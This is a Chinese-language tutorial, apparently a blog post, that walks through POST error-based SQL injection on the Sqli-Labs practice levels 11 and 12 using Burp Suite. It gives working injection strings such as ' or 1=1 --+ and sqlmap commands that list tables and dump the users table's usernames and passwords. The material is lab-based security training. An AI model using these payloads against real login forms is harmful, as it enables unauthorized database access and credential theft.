MySQL|POST基于错误的注入

MySQL|POST基于错误的注入

1.Burpsuit抓取HTTP请求

Burpsuit是一款Web安全测试的利器,集成了几乎web安全测试中所有需要用到的功能。
运行前提:
1.需要安装Java
下载连接:https://www.java.com/zh_CN/
MySQL|POST基于错误的注入_第1张图片
同意并且免费下载
MySQL|POST基于错误的注入_第2张图片
下载好之后直接运行,一路下一步即可。
安装好之后打开DOS界面,查看是否安装成功
按住Win + r键,运行框里输入cmd命令,确定

MySQL|POST基于错误的注入_第3张图片
输入

java

MySQL|POST基于错误的注入_第4张图片
出现上图的情况说明java环境配置成功。

2.截断代理设置:在浏览器中设置局域网代理。
这里就以火狐浏览器举例说明
打开设置
MySQL|POST基于错误的注入_第5张图片
常规滑到最下面,找到设置
MySQL|POST基于错误的注入_第6张图片
设置如下图所示的参数
MySQL|POST基于错误的注入_第7张图片
3.启动Burpsuite进行截断抓取HTTP消息
使用Burpsuit之前,查看是否Proxy Listeners是否为running状态
MySQL|POST基于错误的注入_第8张图片

2.POST基于错误单引号注入

注入点位置发生了变化,在浏览器中已经无法直接进行查看与修改。当然可以借助对应的插件可以完成修改任务。
以Sqli-Lab Less11为例
MySQL|POST基于错误的注入_第9张图片
输入用户名和密码,进行抓包
用户名:admin
密 码:123456

MySQL|POST基于错误的注入_第10张图片
抓包可以看到,此处的用户名和密码使用的是POST的传参方式,将数据发送至Repeater
MySQL|POST基于错误的注入_第11张图片
点击Repeater,点击go发送包
MySQL|POST基于错误的注入_第12张图片

MySQL|POST基于错误的注入_第13张图片
当我使用反斜杠,在用户名或密码后面均会报错

uname=admin\&passwd=12345&submit=Submit

MySQL|POST基于错误的注入_第14张图片

uname=admin&passwd=12345\&submit=Submit

MySQL|POST基于错误的注入_第15张图片
使用单引号进行测试

uname=admin&passwd=12345' or 1=1 --+&submit=Submit

MySQL|POST基于错误的注入_第16张图片
可以预测源代码中的查询语句是

select uname,passwd from 表名 where uname='xxx' and passwd='xxx' limit 0,1

源代码如下所示
MySQL|POST基于错误的注入_第17张图片

2.POST基于错误双引号注入

以Sqli-Lab Less12为例
还是和11关一样,抓包的细节,这里就不在赘述
MySQL|POST基于错误的注入_第18张图片
查看报错信息

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"12345\") LIMIT 0,1' at line 1

可以推测查询语句为

select uname,passwd from 表名 where uname=("xxxx") and passwd=("xxxx") limit 0,1

进行测试

uname=admin&passwd=12345") or 1=1--+&submit=Submit

MySQL|POST基于错误的注入_第19张图片

3.Sqlmap安全测试

sqlmap安全测试进行post注入
复制Burpsuite截断的HTTP请求数据包文本文件中
语法如下:
Sqlmap -r 文件绝对路径 -p 指定探测参数
(1)抓取数据包
MySQL|POST基于错误的注入_第20张图片
(2)在sqlmap的文件夹下,新建文本文档,建议使用数字或字母命名

MySQL|POST基于错误的注入_第21张图片
指定了对应的参数与技术

python2 sqlmap.py -r 1.txt -p passwd --technique E

MySQL|POST基于错误的注入_第22张图片
MySQL|POST基于错误的注入_第23张图片
查看当前使用的数据库名称

python2 sqlmap.py -r 1.txt -p passwd --technique E --current-db

MySQL|POST基于错误的注入_第24张图片
爆破表名

python2 sqlmap.py -r 1.txt -p passwd --technique E -D security --tables

MySQL|POST基于错误的注入_第25张图片
使用users库,爆破字段名

python2 sqlmap.py -r 1.txt -p passwd --technique E -D security -T users --columns

MySQL|POST基于错误的注入_第26张图片
爆破字段的内容

python2 sqlmap.py -r 1.txt -p passwd --technique E -D security -T users -C "password,username" --dump

MySQL|POST基于错误的注入_第27张图片
至此,探测完毕

你可能感兴趣的:(渗透测试学习,信息安全,Web安全,sql,数据库,安全)